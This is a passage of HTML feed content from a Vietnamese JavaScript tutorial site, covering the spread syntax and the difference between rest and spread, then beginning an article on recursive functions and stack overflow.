5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp spread là gì?</h3> <p>Cú pháp spread cũng sử dụng ba dấu chấm giống như cú pháp lấy các tham số còn lại của hàm như trên, nhưng cách thực hiện ngược lại.</p> <p>Khi biến <code>arr</code> được sử dụng trong lời gọi hàm, mảng <code>arr</code> được phân tách ra thành danh sách các tham số hàm.</p> <p>Ví dụ với hàm <code>Math.max</code> trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span><span class="token operator">...</span>arr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 7</span> <span class="token comment">// vì mảng [4, 7, 5] được tách ra thành danh sách các tham số là 4, 7, 5</span></code></pre></div> <p>Bạn có thể truyền nhiều <a href="/iterable-la-gi-iterable-trong-javascript/">iterable object</a> vào hàm với cú pháp spread:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arr2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span><span class="token operator">...</span>arr1<span class="token punctuation">,</span> <span class="token operator">...</span>arr2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span> <span class="token comment">// cả hai mảng arr1, arr2 được trải ra và ghép lại thành dạng</span> <span class="token comment">// Math.max(3, 5, 1, 4, 6, 2)</span></code></pre></div> <p>Bạn cũng có thể <strong>kết hợp cú pháp spread với việc truyền tham số thông thường</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arr2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">,</span> <span class="token operator">...</span>arr1<span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token operator">...</span>arr2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> <span class="token comment">// tương đương với:</span> <span class="token comment">// Math.max(5, 3, 5, 1, 10, 4, 6, 2)</span></code></pre></div> <blockquote> <p>💡 Với bài toán <strong>tách mảng thành các tham số để truyền vào hàm</strong>, bạn có thể sử dụng phương thức <a href="/phan-biet-call-apply-va-bind-trong-javascript/"><code>apply</code></a> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> arr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 7</span></code></pre></div> <p>Trước khi cú pháp spread xuất hiện thì đây là cách đơn giản nhất để giải quyết bài toán này.</p> </blockquote> <h3 id="ứng-dụng-cú-pháp-spread-để-ghép-mảng" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%C3%BA-ph%C3%A1p-spread-%C4%91%E1%BB%83-gh%C3%A9p-m%E1%BA%A3ng" aria-label="ứng dụng cú pháp spread để ghép mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng cú pháp spread để ghép mảng</h3> <p>Cú pháp spread có thể dùng để ghép mảng, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arr2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>arr1<span class="token punctuation">,</span> <span class="token operator">...</span>arr2<span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (6) [3, 5, 1, 4, 6, 2]</span></code></pre></div> <p>Trong các ví dụ trên, mình dùng mảng với cú pháp spread. Thực chất, bạn có thể sử dụng <strong>bất kỳ iterable object</strong> nào.</p> <p>Ví dụ sử dụng cú pháp spread để biến string thành mảng các ký tự:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>str<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) ['H', 'e', 'l', 'l', 'o']</span></code></pre></div> <blockquote> <p>Cú pháp spread <strong>sử dụng iterator</strong> để lấy các phần tử, giống như cú pháp <code>for...of</code>.</p> </blockquote> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> ch <span class="token keyword">of</span> str<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// H, e, l, l, o</span> <span class="token punctuation">}</span></code></pre></div> <p>Với string, <code>for...of</code> trả về mảng các ký tự và <code>...str</code> trở thành chuỗi <code>'H', 'e', 'l', 'l', 'o'</code>. Sau đó, danh sách các kí tự này được truyền vào <code>[]</code> để tạo mảng mới <code>[...str]</code>.</p> <p>Với bài toán này, bạn có thể dùng <code>Array.from(str)</code> cũng cho kết quả tương tự, vì <code>Array.from()</code> chuyển đối tượng iterable thành mảng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) ['H', 'e', 'l', 'l', 'o']</span></code></pre></div> <p>Tuy nhiên, <code>Array.from</code> và cú pháp spread có sự khác nhau là:</p> <ul> <li><code>Array.from</code> áp dụng được cho cả <strong>đối tượng array-like và iterable object</strong>.</li> <li>Cú pháp spread chỉ dùng được với <strong>iterable object</strong>.</li> </ul> <h2 id="copy-mảng-và-object" style="position:relative;"><a href="#copy-m%E1%BA%A3ng-v%C3%A0-object" aria-label="copy mảng và object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Copy mảng và object</h2> <p>Trong bài viết <a href="/copy-object-trong-javascript/">copy object trong JavaScript</a>, mình đã đề cập tới cách sử dụng <code>Object.assign()</code> để copy object.</p> <p>Ngoài ra, bạn cũng có thể dùng cú pháp spread để copy object và mảng.</p> <p>Ví dụ về copy mảng với cú pháp spread:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arrCopy <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>arr<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// cú pháp spread tách mảng thành danh sách các tham số</span> <span class="token comment">// rồi truyền vào mảng mới</span> <span class="token comment">// kiểm tra lại nội dung của hai array trên</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>arrCopy<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// so sánh bằng thông qua tham chiếu</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr <span class="token operator">===</span> arrCopy<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - không cùng tham chiếu</span> <span class="token comment">// thay đổi mảng arr, nhưng mảng arrCopy không thay đổi</span> arr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) [1, 2, 3, 4]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arrCopy<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) [1, 2, 3]</span></code></pre></div> <p>Ví dụ dùng cú pháp spread trong JavaScript để copy object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">c</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> objCopy <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token operator">...</span>obj <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// cú pháp spread tách đối tượng thành danh sách key-value</span> <span class="token comment">// rồi truyền vào object mới</span> <span class="token comment">// kiểm tra nội dung hai obj</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>objCopy<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// so sánh qua tham chiếu</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj <span class="token operator">===</span> objCopy<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - vì không cùng tham chiếu</span> <span class="token comment">// sửa đối tượng obj, nhưng đối tượng objCopy không thay đổi</span> obj<span class="token punctuation">.</span>d <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {"a":1,"b":2,"c":3,"d":4}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>objCopy<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {"a":1,"b":2,"c":3}</span></code></pre></div> <p>Rõ ràng, cách sử dụng cú pháp spread <strong>ngắn gọn hơn</strong> việc sử dụng <code>Object.assign</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// copy object</span> <span class="token keyword">let</span> objCopy <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// copy mảng</span> <span class="token keyword">let</span> arrCopy <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span> arr<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="phân-biệt-2-loại-cú-pháp-dấu-ba-chấm" style="position:relative;"><a href="#ph%C3%A2n-bi%E1%BB%87t-2-lo%E1%BA%A1i-c%C3%BA-ph%C3%A1p-d%E1%BA%A5u-ba-ch%E1%BA%A5m" aria-label="phân biệt 2 loại cú pháp dấu ba chấm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phân biệt 2 loại cú pháp dấu ba chấm</h2> <p>Như mình đã trình bày ở trên, cú pháp dấu ba chấm có thể dùng để:</p> <ul> <li>Lấy danh sách các tham số còn lại trong hàm</li> <li>Hoặc là cú pháp spread để tách mảng thành danh sách các tham số.</li> </ul> <p>Cách phân biệt hai loại cú pháp trên là:</p> <p>► Cú pháp lấy danh sách các tham số còn lại trong hàm</p> <p>Dấu <code>...</code> được sử dụng ở <strong>định nghĩa hàm</strong> và luôn đặt cuối trong danh sách các tham số.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// định nghĩa hàm</span> <span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">fn1</span><span class="token punctuation">(</span><span class="token parameter">arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span> <span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token comment">//</span> <span class="token punctuation">}</span> <span class="token comment">// gọi hàm</span> <span class="token function">fn1</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>► Cú pháp spread</p> <p>Dấu <code>...</code> được sử dụng ở <strong>lời gọi hàm</strong> (hoặc trong mảng, object) và có thể đặt ở bất kỳ đâu trong danh sách các tham số:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// định nghĩa hàm</span> <span class="token keyword">function</span> <span class="token function">fn1</span><span class="token punctuation">(</span><span class="token parameter">arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span> arg3<span class="token punctuation">,</span> arg4</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">//</span> <span class="token punctuation">}</span> <span class="token comment">// gọi hàm</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token function">fn1</span><span class="token punctuation">(</span><span class="token operator">...</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Cú pháp ba chấm trong JavaScript có thể là cú pháp để lấy tham số còn lại trong hàm hoặc cú pháp spread.</p> <p>Cách đơn giản để phân biệt hai loại trên là:</p> <ul> <li><strong>Cú pháp để lấy tham số còn lại trong hàm</strong>: dấu ba chấm <code>...</code> được dùng ở định nghĩa hàm và luôn đặt ở cuối danh sách tham số.</li> <li><strong>Cú pháp spread</strong>: dấu ba chấm <code>...</code> được dùng ở lời gọi hàm (hoặc trong mảng, object) và có thể đặt ở bất kỳ đâu trong danh sách các tham số.</li> </ul> <p>Ứng dụng:</p> <ul> <li><strong>Cú pháp để lấy tham số còn lại trong hàm</strong>: được dùng để xây dựng hàm cho phép truyền vào số lượng tham số tùy ý.</li> <li><strong>Cú pháp spread</strong>: được dùng để tách mảng thành danh sách các tham số truyền vào hàm hoặc ghép/copy mảng, ghép/copy object.</li> </ul>[email protected]<![CDATA[Hàm đệ quy trong JavaScript]]><![CDATA[Hàm đệ quy trong JavaScript chính là một hàm tự gọi lại chính nó. Ví dụ sau in ra Hello world! n lần sử dụng hàm đệ quy: Kết quả: Đây chỉ là ví dụ minh họa về hàm đệ quy trong…]]>https://completejavascript.com/ham-de-quy-trong-javascript/https://completejavascript.com/ham-de-quy-trong-javascript/<![CDATA[Hàm]]>Mon, 12 Jun 2017 20:30:00 GMT<p>Hàm đệ quy trong JavaScript chính là <strong>một hàm tự gọi lại chính nó</strong>.</p> <p>Ví dụ sau in ra <strong>Hello world!</strong> <code>n</code> lần sử dụng hàm đệ quy:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">count</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>count <span class="token operator">&lt;=</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello world!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token function">sayHello</span><span class="token punctuation">(</span>count <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token comment">// sayHello 5 lần</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Hello world! Hello world! Hello world! Hello world! Hello world!</code></pre></div> <p>Đây chỉ là ví dụ minh họa về <strong>hàm đệ quy trong JavaScript</strong>. Thực tế, bạn có thể sử dụng <a href="/vong-lap-trong-javascript/">vòng lặp <code>for</code></a> để giải quyết bài toán trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">count</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> count<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello world!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả hoàn toàn tương đương. Tuy nhiên, có rất nhiều trường hợp việc sử dụng hàm đệ quy lại giúp code trở nên <strong>ngắn gọn, rõ ràng và dễ bảo trì</strong> hơn sử dụng vòng lặp.</p> <p>Vì vậy, mình hãy cùng tìm hiểu về hàm đệ quy trong JavaScript để biết cách áp dụng khi cần thiết.</p> <h2 id="các-thành-phần-cơ-bản-của-hàm-đệ-quy" style="position:relative;"><a href="#c%C3%A1c-th%C3%A0nh-ph%E1%BA%A7n-c%C6%A1-b%E1%BA%A3n-c%E1%BB%A7a-h%C3%A0m-%C4%91%E1%BB%87-quy" aria-label="các thành phần cơ bản của hàm đệ quy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các thành phần cơ bản của hàm đệ quy</h2> <p>Hàm đệ quy nói chung và hàm đệ quy trong JavaScript nói riêng, có <strong>hai thành phần đặc trưng</strong>:</p> <ul> <li><strong>Phần cơ sở</strong>: điều kiện để thoát đệ quy.</li> <li><strong>Phần đệ quy</strong>: gọi lại chính nó.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">count</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// phần cơ sở: điều kiện thoát đệ quy là biến count &lt;= 0</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>count <span class="token operator">&lt;=</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// xử lý logic cơ bản</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello world!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// phần đệ quy: gọi lại chính hàm sayHello</span> <span class="token function">sayHello</span><span class="token punctuation">(</span>count <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Cũng tương tự như điều kiện để thoát vòng lặp, nếu <strong>không có điều kiện cơ sở</strong> thì hàm đệ quy sẽ không bao giờ dừng lại (đệ quy vô hạn), dẫn đến <strong>tràn stack</strong>.</p> <p>Ví dụ <strong>bỏ qua điều kiện cơ cở</strong> của hàm đệ quy trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">count</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// // phần cơ sở: điều kiện thoát đệ quy là biến count &lt;= 0</span> <span class="token comment">// if (count &lt;= 0) {</span> <span class="token comment">// return;</span> <span class="token comment">// }</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello world!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// phần đệ quy: gọi lại chính hàm sayHello</span> <span class="token function">sayHello</span><span class="token punctuation">(</span>count <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả là <strong>Hello world!</strong> được in ra khoảng hơn <code>10000</code> lần thì bị lỗi <strong>tràn stack</strong>, cụ thể: <strong>Uncaught RangeError: Maximum call stack size exceeded</strong>.</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Hello world! Hello world! ... Hello world! Uncaught RangeError: Maximum call stack size exceeded</code></pre></div> <blockquote> <p><strong>Chú ý:</strong> con số <code>10000</code> trên chỉ là tương đối, phụ thuộc vào từng <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript Engine</a>.</p> </blockquote> <h2 id="call-stack-là-gì" style="position:relative;"><a href="#call-stack-l%C3%A0-g%C3%AC" aria-label="call stack là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 